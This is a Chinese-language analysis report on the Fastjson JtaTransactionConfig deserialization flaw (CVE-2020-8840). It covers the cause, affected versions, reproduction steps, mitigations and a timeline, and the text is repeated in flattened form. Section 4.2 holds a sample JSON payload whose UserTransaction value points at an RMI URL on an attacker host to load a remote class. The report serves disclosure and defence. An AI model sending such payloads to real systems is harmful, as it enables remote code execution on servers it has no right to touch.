Fastjson JtaTransactionConfig远程代码执行漏洞
字数 1544 2025-08-18 11:39:23

Fastjson JtaTransactionConfig远程代码执行漏洞分析报告

1. 漏洞概述

Fastjson是阿里巴巴开源的一个高性能Java JSON处理库,广泛应用于Java平台的JSON序列化和反序列化操作。2020年3月发现的JtaTransactionConfig远程代码执行漏洞(CVE-2020-8840)是一个高危漏洞,允许攻击者在特定条件下远程执行任意代码。

2. 漏洞原理

2.1 漏洞成因

该漏洞源于Fastjson在反序列化时对com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类的处理存在缺陷,绕过了Fastjson的黑名单机制。当满足以下条件时,攻击者可利用此漏洞:

  1. 目标系统使用了受影响版本的Fastjson(≤1.2.66)
  2. 系统同时加载了ibatis-sqlmap依赖(版本2.3.4.726)
  3. Fastjson开启了autotype功能

2.2 技术细节

漏洞利用链如下:

  1. 攻击者构造恶意JSON数据,其中包含@type字段指向JtaTransactionConfig
  2. Fastjson解析时通过checkAutoType方法检查类名,但该类不在黑名单中
  3. 解析过程中通过setProperties方法为utxName变量赋值
  4. utxName被赋值为攻击者控制的恶意地址时,系统会通过JNDI lookup功能加载远程恶意类
  5. 最终导致远程代码执行

3. 影响范围

3.1 受影响版本

  • Fastjson ≤ 1.2.66

3.2 受影响组件

  • 使用了ibatis-sqlmap依赖的系统(特别是版本2.3.4.726)

4. 漏洞复现

4.1 环境搭建

  1. 准备Fastjson 1.2.66
  2. 添加ibatis-sqlmap 2.3.4.726依赖
  3. 确保autotype功能开启(ParserConfig.getGlobalInstance().setAutoTypeSupport(true)

4.2 攻击Payload示例

{
  "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
  "properties": {
    "@type": "java.util.Properties",
    "UserTransaction": "rmi://attacker-ip/Exploit"
  }
}

4.3 攻击流程

  1. 攻击者搭建恶意RMI/LDAP服务器
  2. 向目标系统发送精心构造的JSON数据
  3. 目标系统解析JSON时触发JNDI lookup
  4. 从攻击者服务器加载恶意类并执行

5. 漏洞分析

5.1 关键代码路径

  1. JSON.parse() - 解析入口
  2. JSONObject类 - 格式解析和特殊字符检测
  3. checkAutoType方法 - 类名黑名单检查
  4. JSONScanner类 - 字段名匹配和参数值传递
  5. JtaTransactionConfig.setProperties() - 关键赋值点

5.2 绕过机制

该漏洞成功绕过了Fastjson的黑名单机制,因为:

  1. JtaTransactionConfig类不在Fastjson默认黑名单中
  2. 通过Properties对象间接控制JNDI查找

6. 修复建议

6.1 官方修复方案

  1. 升级Fastjson到1.2.67及以上版本
  2. Fastjson官方在后续版本中增强了黑名单机制

6.2 临时缓解措施

  1. 关闭autotype功能(默认已关闭):

    // 删除或注释掉以下代码
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    
  2. 添加自定义黑名单:

    ParserConfig.getGlobalInstance().addDeny("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig");
    
  3. 移除不必要的ibatis-sqlmap依赖

7. 时间线

  • 2020/3/3:深信服千里目安全实验室发现并验证漏洞
  • 2020/3/4:漏洞分析文章发布

8. 参考链接

  • Fastjson GitHub
  • 官方安全公告(请参考Fastjson官方发布的安全公告)

注意:此漏洞利用需要特定环境配置,但一旦满足条件危害极大。建议所有使用Fastjson的项目立即检查版本并采取相应防护措施。

Fastjson JtaTransactionConfig远程代码执行漏洞分析报告 1. 漏洞概述 Fastjson是阿里巴巴开源的一个高性能Java JSON处理库,广泛应用于Java平台的JSON序列化和反序列化操作。2020年3月发现的JtaTransactionConfig远程代码执行漏洞(CVE-2020-8840)是一个高危漏洞,允许攻击者在特定条件下远程执行任意代码。 2. 漏洞原理 2.1 漏洞成因 该漏洞源于Fastjson在反序列化时对 com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig 类的处理存在缺陷,绕过了Fastjson的黑名单机制。当满足以下条件时,攻击者可利用此漏洞: 目标系统使用了受影响版本的Fastjson(≤1.2.66) 系统同时加载了ibatis-sqlmap依赖(版本2.3.4.726) Fastjson开启了autotype功能 2.2 技术细节 漏洞利用链如下: 攻击者构造恶意JSON数据,其中包含 @type 字段指向 JtaTransactionConfig 类 Fastjson解析时通过 checkAutoType 方法检查类名,但该类不在黑名单中 解析过程中通过 setProperties 方法为 utxName 变量赋值 当 utxName 被赋值为攻击者控制的恶意地址时,系统会通过JNDI lookup功能加载远程恶意类 最终导致远程代码执行 3. 影响范围 3.1 受影响版本 Fastjson ≤ 1.2.66 3.2 受影响组件 使用了ibatis-sqlmap依赖的系统(特别是版本2.3.4.726) 4. 漏洞复现 4.1 环境搭建 准备Fastjson 1.2.66 添加ibatis-sqlmap 2.3.4.726依赖 确保autotype功能开启( ParserConfig.getGlobalInstance().setAutoTypeSupport(true) ) 4.2 攻击Payload示例 4.3 攻击流程 攻击者搭建恶意RMI/LDAP服务器 向目标系统发送精心构造的JSON数据 目标系统解析JSON时触发JNDI lookup 从攻击者服务器加载恶意类并执行 5. 漏洞分析 5.1 关键代码路径 JSON.parse() - 解析入口 JSONObject 类 - 格式解析和特殊字符检测 checkAutoType 方法 - 类名黑名单检查 JSONScanner 类 - 字段名匹配和参数值传递 JtaTransactionConfig.setProperties() - 关键赋值点 5.2 绕过机制 该漏洞成功绕过了Fastjson的黑名单机制,因为: JtaTransactionConfig 类不在Fastjson默认黑名单中 通过Properties对象间接控制JNDI查找 6. 修复建议 6.1 官方修复方案 升级Fastjson到1.2.67及以上版本 Fastjson官方在后续版本中增强了黑名单机制 6.2 临时缓解措施 关闭autotype功能 (默认已关闭): 添加自定义黑名单: 移除不必要的ibatis-sqlmap依赖 7. 时间线 2020/3/3:深信服千里目安全实验室发现并验证漏洞 2020/3/4:漏洞分析文章发布 8. 参考链接 Fastjson GitHub 官方安全公告(请参考Fastjson官方发布的安全公告) 注意 :此漏洞利用需要特定环境配置,但一旦满足条件危害极大。建议所有使用Fastjson的项目立即检查版本并采取相应防护措施。